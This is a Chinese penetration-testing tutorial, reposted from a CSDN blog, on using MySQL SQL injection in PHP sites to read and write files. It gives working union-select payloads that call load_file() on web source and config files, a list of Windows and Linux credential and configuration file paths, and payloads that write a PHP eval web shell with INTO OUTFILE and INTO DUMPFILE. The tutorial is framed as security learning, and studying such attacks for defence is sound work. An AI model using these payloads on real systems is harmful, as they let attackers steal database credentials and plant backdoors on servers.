67.网络安全渗透测试—[SQL注入篇6]—[MySQL+PHP-读写操作]

本文阅读 5 分钟
首页 代码,C/C#/C++ 正文

我认为,无论是学习安全还是从事安全的人,多多少少都有些许的情怀和使命感!!!

一、MySQL+PHP 读写操作

1、MySQL特性:secure_file_priv特性

(1)MYSQL新特性:secure_file_priv对读写文件的影响,此开关默认为NULL,即拒绝导入导出。

(2)该参数的值有哪些:

         secure_file_priv 没有设置值的时候,可进行任意的读写操作,也就是没有限制。

         secure_file_priv 默认设置为NULL,拒绝读写操作。

         secure_file_prive 设置为指定目录的时候,只允许在这个指定的目录下进行读写操作。

(3)如何设置值: 由于这个参数不能动态更改,所以只能在MySQL的配置文件my.ini中进行修改后,并且重启服务后生效。          img

(4)可以通过命令查看属性的值:select @@secure_file_priv          img

2、MySQL+PHP 读操作

(1)读操作用到的函数:load_file()读取文件函数

(2)读取当前目录下的index.php文件:绝对路径

         示例1:http://target_sys.com/article.php?id=-1 union select 1,2,load_file('C:\inetpub\wwwroot\target_sys.com\index.php')          # 注意:必须读取绝路路径下的文件,相对路径无效          # 注意:必须要使用两个反斜杠,一个反斜杠无效          # 注意:在读取php页面的源码的时候,对于html代码浏览器会自动解析显示,而php代码是在当前页面的源码中显示!!!

img img

         示例2:http://target_sys.com/article.php?id=-1 union select 1,2,load_file('C:/inetpub/wwwroot/target_sys.com/index.php') img

         示例3:http://target_sys.com/article.php?id=-1 union select 1,2,load_file(0x433A2F696E65747075622F777777726F6F742F7461726765745F7379732E636F6D2F696E6465782E706870)          # 待读取的文件:C:/inetpub/wwwroot/target_sys.com/index.php,可以对该文件路径和名字进行十六进制编码从而避免使用单引号          # 编码后:0x433A2F696E65747075622F777777726F6F742F7461726765745F7379732E636F6D2F696E6465782E706870          # 发现关键信息:<?php include 'data/config.inc.php';?> img (3)读取配置文件:data/config.inc.php

         示例1:http://target_sys.com/article.php?id=-1 union select 1,2,load_file('C:/inetpub/wwwroot/target_sys.com/data/config.inc.php') img img          # 发现关键信息:

<?php
    error_reporting(E_ALL^E_NOTICE^E_WARNING);
    session_start();
    $link=mysql_connect("localhost","root","xxxxxxxx");
    mysql_select_db("target_sys",$link);
    mysql_query("set names 'utf8'");
    date_default_timezone_set("PRC");//时区

3、windows和linux的常用目录文件

(1)Windows下:

c:/boot.ini //查看系统版本
    
    c:/windows/php.ini //php配置信息
    
    c:/windows/my.ini //MYSQL配置文件,记录管理员登陆过的MYSQL用户名和密码
    
    c:/winnt/php.ini
    
    c:/winnt/my.ini
    
    c:\mysql\data\mysql\user.MYD //存储了mysql.user表中的数据库连接密码
    
    c:\Program Files\RhinoSoft.com\Serv-U\ServUDaemon.ini //存储了虚拟主机网站路径和密码
    
    c:\Program Files\Serv-U\ServUDaemon.ini
    
    c:\windows\system32\inetsrv\MetaBase.xml 查看IIS的虚拟主机配置
    
    c:\windows\repair\sam //存储了WINDOWS系统初次安装的密码
    
    c:\Program Files\ Serv-U\ServUAdmin.exe //6.0版本以前的serv-u管理员密码存储于此
    
    c:\Program Files\RhinoSoft.com\ServUDaemon.exe
    
    C:\Documents and Settings\All Users\Application Data\Symantec\pcAnywhere\*.cif文件
    
    //存储了pcAnywhere的登陆密码
    
    c:\Program Files\Apache Group\Apache\conf\httpd.conf 或C:\apache\conf\httpd.conf //查看WINDOWS系统apache文件
    
    c:/Resin-3.0.14/conf/resin.conf //查看jsp开发的网站 resin文件配置信息.
    
    c:/Resin/conf/resin.conf /usr/local/resin/conf/resin.conf 查看linux系统配置的JSP虚拟主机
    
    d:\APACHE\Apache2\conf\httpd.conf
    
    C:\Program Files\mysql\my.ini
    
    C:\mysql\data\mysql\user.MYD 存在MYSQL系统中的用户密码

(2)Linux/Unix 下:

/usr/local/app/apache2/conf/httpd.conf //apache2缺省配置文件
    
    /usr/local/apache2/conf/httpd.conf
    
    /usr/local/app/apache2/conf/extra/httpd-vhosts.conf //虚拟网站设置
    
    /usr/local/app/php5/lib/php.ini //PHP相关设置
    
    /etc/sysconfig/iptables //从中得到防火墙规则策略
    
    /etc/httpd/conf/httpd.conf // apache配置文件
    
    /etc/rsyncd.conf //同步程序配置文件
    
    /etc/my.cnf //mysql的配置文件
    
    /etc/redhat-release //系统版本
    
    /etc/issue
    
    /etc/issue.net
    
    /usr/local/app/php5/lib/php.ini //PHP相关设置
    
    /usr/local/app/apache2/conf/extra/httpd-vhosts.conf //虚拟网站设置
    
    /etc/httpd/conf/httpd.conf或/usr/local/apche/conf/httpd.conf 查看linux APACHE虚拟主机配置文件
    
    /usr/local/resin-3.0.22/conf/resin.conf 针对3.0.22的RESIN配置文件查看
    
    /usr/local/resin-pro-3.0.22/conf/resin.conf 同上
    
    /usr/local/app/apache2/conf/extra/httpd-vhosts.conf APASHE虚拟主机查看
    
    /etc/httpd/conf/httpd.conf或/usr/local/apche/conf /httpd.conf 查看linux APACHE虚拟主机配置文件
    
    /usr/local/resin-3.0.22/conf/resin.conf 针对3.0.22的RESIN配置文件查看
    
    /usr/local/resin-pro-3.0.22/conf/resin.conf 同上
    
    /usr/local/app/apache2/conf/extra/httpd-vhosts.conf APASHE虚拟主机查看
    
    /etc/sysconfig/iptables 查看防火墙策略
    
    load_file(char(47)) 可以列出FreeBSD,Sunos系统根目录
    
    replace(load_file(0×2F6574632F706173737764),0×3c,0×20)
    
    replace(load_file(char(47,101,116,99,47,112,97,115,115,119,100)),char(60),char(32))

4、MySQL+PHP 写操作

(1)写入操作的前提:

         第一点:gpc 关闭          # 写入文件的时候还需要看php.ini文件里面的gpc是否可以开启,开启的情况下,特殊预定字符都会被转义,例如:‘变成’

         第二点:目录可读

(2)写操作用到的两个函数:

         第一个:into outfile() 文件导出,导入的文件的内容中不同字段间有空格

         第二个:into dumpfile()导出文件,导入的文件的内容中不同字段间没有空格

(3)写shell话到当前目录:          示例1:http://target_sys.com/article.php?id=-1 union select 1,2,'<?php phpinfo();eval($_POST['cmd']);?>' into outfile 'C:/inetpub/wwwroot/target_sys.com/shell1.php''          # 注意:cmd的一对引号前面需要加上,否则无效 img          # 蚁剑连接: img

         示例2:http://target_sys.com/article.php?id=-1 union select 1,'<?php phpinfo();eval($_POST['cmd']);?>',3 into dumpfile 'C:\inetpub\wwwroot\target_sys.com\shell2.php'

img          # 蚁剑连接 img

本文为互联网自动采集或经作者授权后发布,本文观点不代表立场,若侵权下架请联系我们删帖处理!文章出自:https://blog.csdn.net/qq_45555226/article/details/120008083
-- 展开阅读全文 --
KillDefender 的 Beacon 对象文件 PoC 实现
« 上一篇 02-09
Web安全—逻辑越权漏洞(BAC)
下一篇 » 03-13

发表评论

成为第一个评论的人

热门文章

标签TAG

最近回复